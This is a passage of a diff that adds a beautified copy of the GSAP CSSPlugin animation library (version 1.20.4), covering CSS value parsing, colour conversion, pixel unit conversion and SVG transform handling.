this._super._kill.call(this, e) + } + })(); + a._gsDefine("plugins.CSSPlugin", ["plugins.TweenPlugin", "TweenLite"], function (e, t) { + var i = function () { + e.call(this, "css"); + this._overwriteProps.length = 0; + this.setRatio = i.prototype.setRatio + }, + n = a._gsDefine.globals, + r, s, o, l, u = {}, + d = i.prototype = new e("css"); + d.constructor = i; + i.version = "1.20.4"; + i.API = 2; + i.defaultTransformPerspective = 0; + i.defaultSkewType = "compensated"; + i.defaultSmoothOrigin = true; + d = "px"; + i.suffixMap = { + top: d, + right: d, + bottom: d, + left: d, + width: d, + height: d, + fontSize: d, + padding: d, + margin: d, + perspective: d, + lineHeight: "" + }; + var f = /(?:\-|\.|\b)(\d|\.|e\-)+/g, + c = /(?:\d|\-\d|\.\d|\-\.\d|\+=\d|\-=\d|\+=.\d|\-=\.\d)+/g, + h = /(?:\+=|\-=|\-|\b)[\d\-\.]+[a-zA-Z0-9]*(?:%|\b)/gi, + m = /(?![+-]?\d*\.?\d+|[+-]|e[+-]\d+)[^0-9]/g, + p = /(?:\d|\-|\+|=|#|\.)*/g, + v = /opacity *= *([^)]*)/i, + _ = /opacity:([^;]*)/i, + g = /alpha\(opacity *=.+?\)/i, + y = /^(rgb|hsl)/, + b = /([A-Z])/g, + w = /-([a-z])/gi, + M = /(^(?:url\(\"|url\())|(?:(\"\))$|\)$)/gi, + k = function (e, t) { + return t.toUpperCase() + }, + L = /(?:Left|Right|Width)/i, + T = /(M11|M12|M21|M22)=[\d\-\.e]+/gi, + x = /progid\:DXImageTransform\.Microsoft\.Matrix\(.+?\)/i, + S = /,(?=[^\)]*(?:\(|$))/gi, + Y = /[\s,\(]/i, + D = Math.PI / 180, + E = 180 / Math.PI, + C = {}, + P = { + style: {} + }, + A = a.document || { + createElement: function () { + return P + } + }, + O = function (e, t) { + return A.createElementNS ? A.createElementNS(t || "http://www.w3.org/1999/xhtml", e) : A.createElement(e) + }, + j = O("div"), + H = O("img"), + I = i._internals = { + _specialProps: u + }, + F = (a.navigator || {}).userAgent || "", + z, R, N, W, B, q, $ = function () { + var e = F.indexOf("Android"), + t = O("a"); + N = F.indexOf("Safari") !== -1 && F.indexOf("Chrome") === -1 && (e === -1 || parseFloat(F.substr(e + 8, 2)) > 3); + B = N && parseFloat(F.substr(F.indexOf("Version/") + 8, 2)) < 6; + W = F.indexOf("Firefox") !== -1; + if (/MSIE ([0-9]{1,}[\.0-9]{0,})/.exec(F) || /Trident\/.*rv:([0-9]{1,}[\.0-9]{0,})/.exec(F)) { + q = parseFloat(RegExp.$1) + } + if (!t) { + return false + } + t.style.cssText = "top:1px;opacity:.55;"; + return /^0.55/.test(t.style.opacity) + }(), + V = function (e) { + return v.test(typeof e === "string" ? e : (e.currentStyle ? e.currentStyle.filter : e.style.filter) || "") ? parseFloat(RegExp.$1) / 100 : 1 + }, + G = function (e) { + if (a.console) { + console.log(e) + } + }, + U, X, J = "", + K = "", + Q = function (e, t) { + t = t || j; + var i = t.style, + n, r; + if (i[e] !== undefined) { + return e + } + e = e.charAt(0).toUpperCase() + e.substr(1); + n = ["O", "Moz", "ms", "Ms", "Webkit"]; + r = 5; + while (--r > -1 && i[n[r] + e] === undefined) {} + if (r >= 0) { + K = r === 3 ? "ms" : n[r]; + J = "-" + K.toLowerCase() + "-"; + return K + e + } + return null + }, + Z = A.defaultView ? A.defaultView.getComputedStyle : function () {}, + ee = i.getStyle = function (e, t, i, n, r) { + var a; + if (!$) + if (t === "opacity") { + return V(e) + } + if (!n && e.style[t]) { + a = e.style[t] + } else if (i = i || Z(e)) { + a = i[t] || i.getPropertyValue(t) || i.getPropertyValue(t.replace(b, "-$1").toLowerCase()) + } else if (e.currentStyle) { + a = e.currentStyle[t] + } + return r != null && (!a || a === "none" || a === "auto" || a === "auto auto") ? r : a + }, + te = I.convertToPixels = function (e, n, r, a, s) { + if (a === "px" || !a && n !== "lineHeight") { + return r + } + if (a === "auto" || !r) { + return 0 + } + var o = L.test(n), + l = e, + u = j.style, + d = r < 0, + f = r === 1, + c, h, m; + if (d) { + r = -r + } + if (f) { + r *= 100 + } + if (n === "lineHeight" && !a) { + h = Z(e).lineHeight; + e.style.lineHeight = r; + c = parseFloat(Z(e).lineHeight); + e.style.lineHeight = h + } else if (a === "%" && n.indexOf("border") !== -1) { + c = r / 100 * (o ? e.clientWidth : e.clientHeight) + } else { + u.cssText = "border:0 solid red;position:" + ee(e, "position") + ";line-height:0;"; + if (a === "%" || !l.appendChild || a.charAt(0) === "v" || a === "rem") { + l = e.parentNode || A.body; + if (ee(l, "display").indexOf("flex") !== -1) { + u.position = "absolute" + } + h = l._gsCache; + m = t.ticker.frame; + if (h && o && h.time === m) { + return h.width * r / 100 + } + u[o ? "width" : "height"] = r + a + } else { + u[o ? "borderLeftWidth" : "borderTopWidth"] = r + a + } + l.appendChild(j); + c = parseFloat(j[o ? "offsetWidth" : "offsetHeight"]); + l.removeChild(j); + if (o && a === "%" && i.cacheWidths !== false) { + h = l._gsCache = l._gsCache || {}; + h.time = m; + h.width = c / r * 100 + } + if (c === 0 && !s) { + c = te(e, n, r, a, true) + } + } + if (f) { + c /= 100 + } + return d ? -c : c + }, + ie = I.calculateOffset = function (e, t, i) { + if (ee(e, "position", i) !== "absolute") { + return 0 + } + var n = t === "left" ? "Left" : "Top", + r = ee(e, "margin" + n, i); + return e["offset" + n] - (te(e, t, parseFloat(r), r.replace(p, "")) || 0) + }, + ne = function (e, t) { + var i = {}, + n, r, a; + if (t = t || Z(e, null)) { + if (n = t.length) { + while (--n > -1) { + a = t[n]; + if (a.indexOf("-transform") === -1 || Ce === a) { + i[a.replace(w, k)] = t.getPropertyValue(a) + } + } + } else { + for (n in t) { + if (n.indexOf("Transform") === -1 || Ee === n) { + i[n] = t[n] + } + } + } + } else if (t = e.currentStyle || e.style) { + for (n in t) { + if (typeof n === "string" && i[n] === undefined) { + i[n.replace(w, k)] = t[n] + } + } + } + if (!$) { + i.opacity = V(e) + } + r = Ve(e, t, false); + i.rotation = r.rotation; + i.skewX = r.skewX; + i.scaleX = r.scaleX; + i.scaleY = r.scaleY; + i.x = r.x; + i.y = r.y; + if (Ae) { + i.z = r.z; + i.rotationX = r.rotationX; + i.rotationY = r.rotationY; + i.scaleZ = r.scaleZ + } + if (i.filters) { + delete i.filters + } + return i + }, + re = function (e, t, i, n, r) { + var a = {}, + s = e.style, + o, l, u; + for (l in i) { + if (l !== "cssText") + if (l !== "length") + if (isNaN(l)) + if (t[l] !== (o = i[l]) || r && r[l]) + if (l.indexOf("Origin") === -1) + if (typeof o === "number" || typeof o === "string") { + a[l] = o === "auto" && (l === "left" || l === "top") ? ie(e, l) : (o === "" || o === "auto" || o === "none") && typeof t[l] === "string" && t[l].replace(m, "") !== "" ? 0 : o; + if (s[l] !== undefined) { + u = new be(s, l, s[l], u) + } + } + } + if (n) { + for (l in n) { + if (l !== "className") { + a[l] = n[l] + } + } + } + return { + difs: a, + firstMPT: u + } + }, + ae = { + width: ["Left", "Right"], + height: ["Top", "Bottom"] + }, + se = ["marginLeft", "marginRight", "marginTop", "marginBottom"], + oe = function (e, t, i) { + if ((e.nodeName + "").toLowerCase() === "svg") { + return (i || Z(e))[t] || 0 + } else if (e.getCTM && Be(e)) { + return e.getBBox()[t] || 0 + } + var n = parseFloat(t === "width" ? e.offsetWidth : e.offsetHeight), + r = ae[t], + a = r.length; + i = i || Z(e, null); + while (--a > -1) { + n -= parseFloat(ee(e, "padding" + r[a], i, true)) || 0; + n -= parseFloat(ee(e, "border" + r[a] + "Width", i, true)) || 0 + } + return n + }, + le = function (e, t) { + if (e === "contain" || e === "auto" || e === "auto auto") { + return e + " " + } + if (e == null || e === "") { + e = "0 0" + } + var i = e.split(" "), + n = e.indexOf("left") !== -1 ? "0%" : e.indexOf("right") !== -1 ? "100%" : i[0], + r = e.indexOf("top") !== -1 ? "0%" : e.indexOf("bottom") !== -1 ? "100%" : i[1], + a; + if (i.length > 3 && !t) { + i = e.split(", ").join(",").split(","); + e = []; + for (a = 0; a < i.length; a++) { + e.push(le(i[a])) + } + return e.join(",") + } + if (r == null) { + r = n === "center" ? "50%" : "0" + } else if (r === "center") { + r = "50%" + } + if (n === "center" || isNaN(parseFloat(n)) && (n + "").indexOf("=") === -1) { + n = "50%" + } + e = n + " " + r + (i.length > 2 ? " " + i[2] : ""); + if (t) { + t.oxp = n.indexOf("%") !== -1; + t.oyp = r.indexOf("%") !== -1; + t.oxr = n.charAt(1) === "="; + t.oyr = r.charAt(1) === "="; + t.ox = parseFloat(n.replace(m, "")); + t.oy = parseFloat(r.replace(m, "")); + t.v = e + } + return t || e + }, + ue = function (e, t) { + if (typeof e === "function") { + e = e(X, U) + } + return typeof e === "string" && e.charAt(1) === "=" ? parseInt(e.charAt(0) + "1", 10) * parseFloat(e.substr(2)) : parseFloat(e) - parseFloat(t) || 0 + }, + de = function (e, t) { + if (typeof e === "function") { + e = e(X, U) + } + return e == null ? t : typeof e === "string" && e.charAt(1) === "=" ? parseInt(e.charAt(0) + "1", 10) * parseFloat(e.substr(2)) + t : parseFloat(e) || 0 + }, + fe = function (e, t, i, n) { + var r = 1e-6, + a, s, o, l, u; + if (typeof e === "function") { + e = e(X, U) + } + if (e == null) { + l = t + } else if (typeof e === "number") { + l = e + } else { + a = 360; + s = e.split("_"); + u = e.charAt(1) === "="; + o = (u ? parseInt(e.charAt(0) + "1", 10) * parseFloat(s[0].substr(2)) : parseFloat(s[0])) * (e.indexOf("rad") === -1 ? 1 : E) - (u ? 0 : t); + if (s.length) { + if (n) { + n[i] = t + o + } + if (e.indexOf("short") !== -1) { + o = o % a; + if (o !== o % (a / 2)) { + o = o < 0 ? o + a : o - a + } + } + if (e.indexOf("_cw") !== -1 && o < 0) { + o = (o + a * 9999999999) % a - (o / a | 0) * a + } else if (e.indexOf("ccw") !== -1 && o > 0) { + o = (o - a * 9999999999) % a - (o / a | 0) * a + } + } + l = t + o + } + if (l < r && l > -r) { + l = 0 + } + return l + }, + ce = { + aqua: [0, 255, 255], + lime: [0, 255, 0], + silver: [192, 192, 192], + black: [0, 0, 0], + maroon: [128, 0, 0], + teal: [0, 128, 128], + blue: [0, 0, 255], + navy: [0, 0, 128], + white: [255, 255, 255], + fuchsia: [255, 0, 255], + olive: [128, 128, 0], + yellow: [255, 255, 0], + orange: [255, 165, 0], + gray: [128, 128, 128], + purple: [128, 0, 128], + green: [0, 128, 0], + red: [255, 0, 0], + pink: [255, 192, 203], + cyan: [0, 255, 255], + transparent: [255, 255, 255, 0] + }, + he = function (e, t, i) { + e = e < 0 ? e + 1 : e > 1 ? e - 1 : e; + return (e * 6 < 1 ? t + (i - t) * e * 6 : e < .5 ? i : e * 3 < 2 ? t + (i - t) * (2 / 3 - e) * 6 : t) * 255 + .5 | 0 + }, + me = i.parseColor = function (e, t) { + var i, n, r, a, s, o, l, u, d, h, m; + if (!e) { + i = ce.black + } else if (typeof e === "number") { + i = [e >> 16, e >> 8 & 255, e & 255] + } else { + if (e.charAt(e.length - 1) === ",") { + e = e.substr(0, e.length - 1) + } + if (ce[e]) { + i = ce[e] + } else if (e.charAt(0) === "#") { + if (e.length === 4) { + n = e.charAt(1); + r = e.charAt(2); + a = e.charAt(3); + e = "#" + n + n + r + r + a + a + } + e = parseInt(e.substr(1), 16); + i = [e >> 16, e >> 8 & 255, e & 255] + } else if (e.substr(0, 3) === "hsl") { + i = m = e.match(f); + if (!t) { + s = Number(i[0]) % 360 / 360; + o = Number(i[1]) / 100; + l = Number(i[2]) / 100; + r = l <= .5 ? l * (o + 1) : l + o - l * o; + n = l * 2 - r; + if (i.length > 3) { + i[3] = Number(i[3]) + } + i[0] = he(s + 1 / 3, n, r); + i[1] = he(s, n, r); + i[2] = he(s - 1 / 3, n, r) + } else if (e.indexOf("=") !== -1) { + return e.match(c) + } + } else { + i = e.match(f) || ce.transparent + } + i[0] = Number(i[0]); + i[1] = Number(i[1]); + i[2] = Number(i[2]); + if (i.length > 3) { + i[3] = Number(i[3]) + } + } + if (t && !m) { + n = i[0] / 255; + r = i[1] / 255; + a = i[2] / 255; + u = Math.max(n, r, a); + d = Math.min(n, r, a); + l = (u + d) / 2; + if (u === d) { + s = o = 0 + } else { + h = u - d; + o = l > .5 ? h / (2 - u - d) : h / (u + d); + s = u === n ? (r - a) / h + (r < a ? 6 : 0) : u === r ? (a - n) / h + 2 : (n - r) / h + 4; + s *= 60 + } + i[0] = s + .5 | 0; + i[1] = o * 100 + .5 | 0; + i[2] = l * 100 + .5 | 0 + } + return i + }, + pe = function (e, t) { + var i = e.match(ve) || [], + n = 0, + r = "", + a, s, o; + if (!i.length) { + return e + } + for (a = 0; a < i.length; a++) { + s = i[a]; + o = e.substr(n, e.indexOf(s, n) - n); + n += o.length + s.length; + s = me(s, t); + if (s.length === 3) { + s.push(1) + } + r += o + (t ? "hsla(" + s[0] + "," + s[1] + "%," + s[2] + "%," + s[3] : "rgba(" + s.join(",")) + ")" + } + return r + e.substr(n) + }, + ve = "(?:\\b(?:(?:rgb|rgba|hsl|hsla)\\(.+?\\))|\\B#(?:[0-9a-f]{3}){1,2}\\b"; + for (d in ce) { + ve += "|" + d + "\\b" + } + ve = new RegExp(ve + ")", "gi"); + i.colorStringFilter = function (e) { + var t = e[0] + " " + e[1], + i; + if (ve.test(t)) { + i = t.indexOf("hsl(") !== -1 || t.indexOf("hsla(") !== -1; + e[0] = pe(e[0], i); + e[1] = pe(e[1], i) + } + ve.lastIndex = 0 + }; + if (!t.defaultStringFilter) { + t.defaultStringFilter = i.colorStringFilter + } + var _e = function (e, t, i, n) { + if (e == null) { + return function (e) { + return e + } + } + var r = t ? (e.match(ve) || [""])[0] : "", + a = e.split(r).join("").match(h) || [], + s = e.substr(0, e.indexOf(a[0])), + o = e.charAt(e.length - 1) === ")" ? ")" : "", + l = e.indexOf(" ") !== -1 ? " " : ",", + u = a.length, + d = u > 0 ? a[0].replace(f, "") : "", + c; + if (!u) { + return function (e) { + return e + } + } + if (t) { + c = function (e) { + var t, f, m, p; + if (typeof e === "number") { + e += d + } else if (n && S.test(e)) { + p = e.replace(S, "|").split("|"); + for (m = 0; m < p.length; m++) { + p[m] = c(p[m]) + } + return p.join(",") + } + t = (e.match(ve) || [r])[0]; + f = e.split(t).join("").match(h) || []; + m = f.length; + if (u > m--) { + while (++m < u) { + f[m] = i ? f[(m - 1) / 2 | 0] : a[m] + } + } + return s + f.join(l) + l + t + o + (e.indexOf("inset") !== -1 ? " inset" : "") + }; + return c + } + c = function (e) { + var t, r, f; + if (typeof e === "number") { + e += d + } else if (n && S.test(e)) { + r = e.replace(S, "|").split("|"); + for (f = 0; f < r.length; f++) { + r[f] = c(r[f]) + } + return r.join(",") + } + t = e.match(h) || []; + f = t.length; + if (u > f--) { + while (++f < u) { + t[f] = i ? t[(f - 1) / 2 | 0] : a[f] + } + } + return s + t.join(l) + o + }; + return c + }, + ge = function (e) { + e = e.split(","); + return function (t, i, n, r, a, s, o) { + var l = (i + "").split(" "), + u; + o = {}; + for (u = 0; u < 4; u++) { + o[e[u]] = l[u] = l[u] || l[(u - 1) / 2 >> 0] + } + return r.parse(t, o, a, s) + } + }, + ye = I._setPluginRatio = function (e) { + this.plugin.setRatio(e); + var t = this.data, + i = t.proxy, + n = t.firstMPT, + r = 1e-6, + a, s, o, l, u; + while (n) { + a = i[n.v]; + if (n.r) { + a = Math.round(a) + } else if (a < r && a > -r) { + a = 0 + } + n.t[n.p] = a; + n = n._next + } + if (t.autoRotate) { + t.autoRotate.rotation = t.mod ? t.mod(i.rotation, this.t) : i.rotation + } + if (e === 1 || e === 0) { + n = t.firstMPT; + u = e === 1 ? "e" : "b"; + while (n) { + s = n.t; + if (!s.type) { + s[u] = s.s + s.xs0 + } else if (s.type === 1) { + l = s.xs0 + s.s + s.xs1; + for (o = 1; o < s.l; o++) { + l += s["xn" + o] + s["xs" + (o + 1)] + } + s[u] = l + } + n = n._next + } + } + }, + be = function (e, t, i, n, r) { + this.t = e; + this.p = t; + this.v = i; + this.r = r; + if (n) { + n._prev = this; + this._next = n + } + }, + we = I._parseToProxy = function (e, t, i, n, r, a) { + var s = n, + o = {}, + l = {}, + u = i._transform, + d = C, + f, c, h, m, p; + i._transform = null; + C = t; + n = p = i.parse(e, t, n, r); + C = d; + if (a) { + i._transform = u; + if (s) { + s._prev = null; + if (s._prev) { + s._prev._next = null + } + } + } + while (n && n !== s) { + if (n.type <= 1) { + c = n.p; + l[c] = n.s + n.c; + o[c] = n.s; + if (!a) { + m = new be(n, "s", c, m, n.r); + n.c = 0 + } + if (n.type === 1) { + f = n.l; + while (--f > 0) { + h = "xn" + f; + c = n.p + "_" + h; + l[c] = n.data[h]; + o[c] = n[h]; + if (!a) { + m = new be(n, h, c, m, n.rxp[h]) + } + } + } + } + n = n._next + } + return { + proxy: o, + end: l, + firstMPT: m, + pt: p + } + }, + Me = I.CSSPropTween = function (e, t, i, n, a, s, o, u, d, f, c) { + this.t = e; + this.p = t; + this.s = i; + this.c = n; + this.n = o || t; + if (!(e instanceof Me)) { + l.push(this.n) + } + this.r = u; + this.type = s || 0; + if (d) { + this.pr = d; + r = true + } + this.b = f === undefined ? i : f; + this.e = c === undefined ? i + n : c; + if (a) { + this._next = a; + a._prev = this + } + }, + ke = function (e, t, i, n, r, a) { + var s = new Me(e, t, i, n - i, r, -1, a); + s.b = i; + s.e = s.xs0 = n; + return s + }, + Le = i.parseComplex = function (e, t, n, r, a, s, o, l, u, d) { + n = n || s || ""; + if (typeof r === "function") { + r = r(X, U) + } + o = new Me(e, t, 0, 0, o, d ? 2 : 1, null, false, l, n, r); + r += ""; + if (a && ve.test(r + n)) { + r = [n, r]; + i.colorStringFilter(r); + n = r[0]; + r = r[1] + } + var h = n.split(", ").join(",").split(" "), + m = r.split(", ").join(",").split(" "), + p = h.length, + v = z !== false, + _, g, y, b, w, M, k, L, T, x, Y, D, E; + if (r.indexOf(",") !== -1 || n.indexOf(",") !== -1) { + if ((r + n).indexOf("rgb") !== -1 || (r + n).indexOf("hsl") !== -1) { + h = h.join(" ").replace(S, ", ").split(" "); + m = m.join(" ").replace(S, ", ").split(" ") + } else { + h = h.join(" ").split(",").join(", ").split(" "); + m = m.join(" ").split(",").join(", ").split(" ") + } + p = h.length + } + if (p !== m.length) { + h = (s || "").split(" "); + p = h.length + } + o.plugin = u; + o.setRatio = d; + ve.lastIndex = 0; + for (_ = 0; _ < p; _++) { + b = h[_]; + w = m[_]; + L = parseFloat(b); + if (L || L === 0) { + o.appendXtra("", L, ue(w, L), w.replace(c, ""), v && w.indexOf("px") !== -1, true) + } else if (a && ve.test(b)) { + D = w.indexOf(")") + 1; + D = ")" + (D ? w.substr(D) : ""); + E = w.indexOf("hsl") !== -1 && $; + x = w; + b = me(b, E); + w = me(w, E); + T = b.length + w.length > 6; + if (T && !$ && w[3] === 0) { + o["xs" + o.l] += o.l ? " transparent" : "transparent"; + o.e = o.e.split(m[_]).join("transparent") + } else { + if (!$) { + T = false + } + if (E) { + o.appendXtra(x.substr(0, x.indexOf("hsl")) + (T ? "hsla(" : "hsl("), b[0], ue(w[0], b[0]), ",", false, true).appendXtra("", b[1], ue(w[1], b[1]), "%,", false).appendXtra("", b[2], ue(w[2], b[2]), T ? "%," : "%" + D, false) + } else { + o.appendXtra(x.substr(0, x.indexOf("rgb")) + (T ? "rgba(" : "rgb("), b[0], w[0] - b[0], ",", true, true).appendXtra("", b[1], w[1] - b[1], ",", true).appendXtra("", b[2], w[2] - b[2], T ? "," : D, true) + } + if (T) { + b = b.length < 4 ? 1 : b[3]; + o.appendXtra("", b, (w.length < 4 ? 1 : w[3]) - b, D, false) + } + } + ve.lastIndex = 0 + } else { + M = b.match(f); + if (!M) { + o["xs" + o.l] += o.l || o["xs" + o.l] ? " " + w : w + } else { + k = w.match(c); + if (!k || k.length !== M.length) { + return o + } + y = 0; + for (g = 0; g < M.length; g++) { + Y = M[g]; + x = b.indexOf(Y, y); + o.appendXtra(b.substr(y, x - y), Number(Y), ue(k[g], Y), "", v && b.substr(x + Y.length, 2) === "px", g === 0); + y = x + Y.length + } + o["xs" + o.l] += b.substr(y) + } + } + } + if (r.indexOf("=") !== -1) + if (o.data) { + D = o.xs0 + o.data.s; + for (_ = 1; _ < o.l; _++) { + D += o["xs" + _] + o.data["xn" + _] + } + o.e = D + o["xs" + _] + } + if (!o.l) { + o.type = -1; + o.xs0 = o.e + } + return o.xfirst || o + }, + Te = 9; + d = Me.prototype; + d.l = d.pr = 0; + while (--Te > 0) { + d["xn" + Te] = 0; + d["xs" + Te] = "" + } + d.xs0 = ""; + d._next = d._prev = d.xfirst = d.data = d.plugin = d.setRatio = d.rxp = null; + d.appendXtra = function (e, t, i, n, r, a) { + var s = this, + o = s.l; + s["xs" + o] += a && (o || s["xs" + o]) ? " " + e : e || ""; + if (!i) + if (o !== 0 && !s.plugin) { + s["xs" + o] += t + (n || ""); + return s + } + s.l++; + s.type = s.setRatio ? 2 : 1; + s["xs" + s.l] = n || ""; + if (o > 0) { + s.data["xn" + o] = t + i; + s.rxp["xn" + o] = r; + s["xn" + o] = t; + if (!s.plugin) { + s.xfirst = new Me(s, "xn" + o, t, i, s.xfirst || s, 0, s.n, r, s.pr); + s.xfirst.xs0 = 0 + } + return s + } + s.data = { + s: t + i + }; + s.rxp = {}; + s.s = t; + s.c = i; + s.r = r; + return s + }; + var xe = function (e, t) { + t = t || {}; + this.p = t.prefix ? Q(e) || e : e; + u[e] = u[this.p] = this; + this.format = t.formatter || _e(t.defaultValue, t.color, t.collapsible, t.multi); + if (t.parser) { + this.parse = t.parser + } + this.clrs = t.color; + this.multi = t.multi; + this.keyword = t.keyword; + this.dflt = t.defaultValue; + this.pr = t.priority || 0 + }, + Se = I._registerComplexSpecialProp = function (e, t, i) { + if (typeof t !== "object") { + t = { + parser: i + } + } + var n = e.split(","), + r = t.defaultValue, + a, s; + i = i || [r]; + for (a = 0; a < n.length; a++) { + t.prefix = a === 0 && t.prefix; + t.defaultValue = i[a] || r; + s = new xe(n[a], t) + } + }, + Ye = I._registerPluginProp = function (e) { + if (!u[e]) { + var t = e.charAt(0).toUpperCase() + e.substr(1) + "Plugin"; + Se(e, { + parser: function (e, i, r, a, s, o, l) { + var d = n.com.greensock.plugins[t]; + if (!d) { + G("Error: " + t + " js file not loaded."); + return s + } + d._cssRegister(); + return u[r].parse(e, i, r, a, s, o, l) + } + }) + } + }; + d = xe.prototype; + d.parseComplex = function (e, t, i, n, r, a) { + var s = this.keyword, + o, l, u, d, f, c; + if (this.multi) + if (S.test(i) || S.test(t)) { + l = t.replace(S, "|").split("|"); + u = i.replace(S, "|").split("|") + } else if (s) { + l = [t]; + u = [i] + } + if (u) { + d = u.length > l.length ? u.length : l.length; + for (o = 0; o < d; o++) { + t = l[o] = l[o] || this.dflt; + i = u[o] = u[o] || this.dflt; + if (s) { + f = t.indexOf(s); + c = i.indexOf(s); + if (f !== c) { + if (c === -1) { + l[o] = l[o].split(s).join("") + } else if (f === -1) { + l[o] += " " + s + } + } + } + } + t = l.join(", "); + i = u.join(", ") + } + return Le(e, this.p, t, i, this.clrs, this.dflt, n, this.pr, r, a) + }; + d.parse = function (e, t, i, n, r, a, s) { + return this.parseComplex(e.style, this.format(ee(e, this.p, o, false, this.dflt)), this.format(t), r, a) + }; + i.registerSpecialProp = function (e, t, i) { + Se(e, { + parser: function (e, n, r, a, s, o, l) { + var u = new Me(e, r, 0, 0, s, 2, r, false, i); + u.plugin = o; + u.setRatio = t(e, n, a._tween, r); + return u + }, + priority: i + }) + }; + i.useSVGTransformAttr = true; + var De = "scaleX,scaleY,scaleZ,x,y,z,skewX,skewY,rotation,rotationX,rotationY,perspective,xPercent,yPercent".split(","), + Ee = Q("transform"), + Ce = J + "transform", + Pe = Q("transformOrigin"), + Ae = Q("perspective") !== null, + Oe = I.Transform = function () { + this.perspective = parseFloat(i.defaultTransformPerspective) || 0; + this.force3D = i.defaultForce3D === false || !Ae ? false : i.defaultForce3D || "auto" + }, + je = a.SVGElement, + He, Ie = function (e, t, i) { + var n = A.createElementNS("http://www.w3.org/2000/svg", e), + r = /([a-z])([A-Z])/g, + a; + for (a in i) { + n.setAttributeNS(null, a.replace(r, "$1-$2").toLowerCase(), i[a]) + } + t.appendChild(n); + return n + }, + Fe = A.documentElement || {}, + ze = function () { + var e = q || /Android/i.test(F) && !a.chrome, + t, i, n; + if (A.createElementNS && !e) { + t = Ie("svg", Fe); + i = Ie("rect", t, { + width: 100, + height: 50, + x: 100 + }); + n = i.getBoundingClientRect().width; + i.style[Pe] = "50% 50%"; + i.style[Ee] = "scaleX(0.5)"; + e = n === i.getBoundingClientRect().width && !(W && Ae); + Fe.removeChild(t) + } + return e + }(), + Re = function (e, t, n, r, a, s) { + var o = e._gsTransform, + l = $e(e, true), + u, d, f, c, h, m, p, v, _, g, y, b, w, M; + if (o) { + w = o.xOrigin; + M = o.yOrigin + } + if (!r || (u = r.split(" ")).length < 2) { + p = e.getBBox(); + if (p.x === 0 && p.y === 0 && p.width + p.height === 0) { + p = { + x: parseFloat(e.hasAttribute("x") ? e.getAttribute("x") : e.hasAttribute("cx") ? e.getAttribute("cx") : 0) || 0, + y: parseFloat(e.hasAttribute("y") ? e.getAttribute("y") : e.hasAttribute("cy") ? e.getAttribute("cy") : 0) || 0, + width: 0, + height: 0 + } + } + t = le(t).split(" "); + u = [(t[0].indexOf("%") !== -1 ? parseFloat(t[0]) / 100 * p.width : parseFloat(t[0])) + p.x, (t[1].indexOf("%") !== -1 ? parseFloat(t[1]) / 100 * p.height : parseFloat(t[1])) + p.y] + } + n.xOrigin = c = parseFloat(u[0]); + n.yOrigin = h = parseFloat(u[1]); + if (r && l !== qe) { + m = l[0]; + p = l[1]; + v = l[2]; + _ = l[3]; + g = l[4]; + y = l[5]; + b = m * _ - p * v; + if (b) { + d = c * (_ / b) + h * (-v / b) + (v * y - _ * g) / b; + f = c * (-p / b) + h * (m / b) - (m * y - p * g) / b; + c = n.xOrigin = u[0] = d; + h = n.yOrigin = u[1] = f + } + } + if (o) { + if (s) { + n.xOffset = o.xOffset; + n.yOffset = o.yOffset; + o = n + } + if (a || a !== false && i.defaultSmoothOrigin !== false) { + d = c - w; + f = h - M; + o.xOffset += d * l[0] + f * l[2] - d; + o.yOffset += d * l[1] + f * l[3] - f + } else { + o.xOffset = o.yOffset = 0 + } + } + if (!s) { + e.setAttribute("data-svg-origin", u.join(" ")) + } + }, + Ne = function (e) { + var t = O("svg", this.ownerSVGElement && this.ownerSVGElement.getAttribute("xmlns") || "http://www.w3.org/2000/svg"), + i = this.parentNode, + n = this.nextSibling, + r = this.style.cssText, + a; + Fe.appendChild(t); + t.appendChild(this); + this.style.display = "block"; + if (e) { + try { + a = this.getBBox(); + this._originalGetBBox = this.getBBox; + this.getBBox = Ne + } catch (e) {} + } else if (this._originalGetBBox) { + a = this._originalGetBBox() + } + if (n) { + i.insertBefore(this, n) + } else { + i.appendChild(this) + } + Fe.removeChild(t); + this.style.cssText = r; + return a + }, + We = function (e) { + try { + return e.getBBox() + } catch (t) { + return Ne.call(e, true) + } + }, + Be = function (e) { + return !!(je && e.getCTM && (!e.parentNode || e.ownerSVGElement) && We(e)) + }, + qe = [1, 0, 0, 1, 0, 0], + $e = function (e, t) { + var i = e._gsTransform || new Oe, + n = 1e5, + r = e.style, + a, s, o, l, u, d; + if (Ee) { + s = ee(e, Ce, null, true) + } else if (e.currentStyle) { + s = e.currentStyle.filter.match(T); + s = s && s.length === 4 ? [s[0].substr(4), Number(s[2].substr(4)), Number(s[1].substr(4)), s[3].substr(4), i.x || 0, i.y || 0].join(",") : "" + } + a = !s || s === "none" || s === "matrix(1, 0, 0, 1, 0, 0)"; + if (Ee && ((d = !Z(e) || Z(e).display === "none") || !e.parentNode)) { + if (d) { + l = r.display; + r.display = "block" + } + if (!e.parentNode) { + u = 1; + Fe.appendChild(e) + } + s = ee(e, Ce, null, true); + a = !s || s === "none" || s === "matrix(1, 0, 0, 1, 0, 0)"; + if (l) { + r.display = l + } else if (d) { + Je(r, "display") + } + if (u) { + Fe.removeChild(e) + } + } + if (i.svg || e.getCTM && Be(e)) { + if (a && (r[Ee] + "").indexOf("matrix") !== -1) { + s = r[Ee]; + a = 0 + } + o = e.getAttribute("transform"); + if (a && o) { + o = e.transform.baseVal.consolidate().matrix; + s = "matrix(" + o.a + "," + o.b + "," + o.c + "," + o.d + "," + o.e + "," + o.f + ")"; + a = 0 + } + } + if (a) { + return qe + } + o = (s || "").match(f) || []; + Te = o.length; + while (--Te > -1) { + l = Number(o[Te]); + o[Te] = (u = l - (l |= 0)) ? (u * n + (u < 0 ? -.5 : .5) | 0) / n + l : l + } + return t && o.length > 6 ? [o[0], o[1], o[4], o[5], o[12], o[13]] : o + }, + Ve = I.getTransform = function (e, n, r, a) { + if (e._gsTransform && r && !a) { + return e._gsTransform + } + var s = r ? e._gsTransform || new Oe : new Oe, + o = s.scaleX < 0, + l = 2e-5, + u = 1e5, + d = Ae ? parseFloat(ee(e, Pe, n, false, "0 0 0").split(" ")[2]) || s.zOrigin || 0 : 0, + f = parseFloat(i.defaultTransformPerspective) || 0, + c, h, m, p, v, _; + s.svg = !!(e.getCTM && Be(e)); + if (s.svg) { + Re(e, ee(e, Pe, n, false, "50% 50%") + "", s, e.getAttribute("data-svg-origin")); + He = i.useSVGTransformAttr || ze + } + c = $e(e); + if (c !== qe) { + if (c.length === 16) { + var g = c[0], + y = c[1], + b = c[2], + w = c[3], + M = c[4], + k = c[5], + L = c[6], + T = c[7], + x = c[8], + S = c[9], + Y = c[10], + D = c[12], + C = c[13], + P = c[14], + A = c[11], + O = 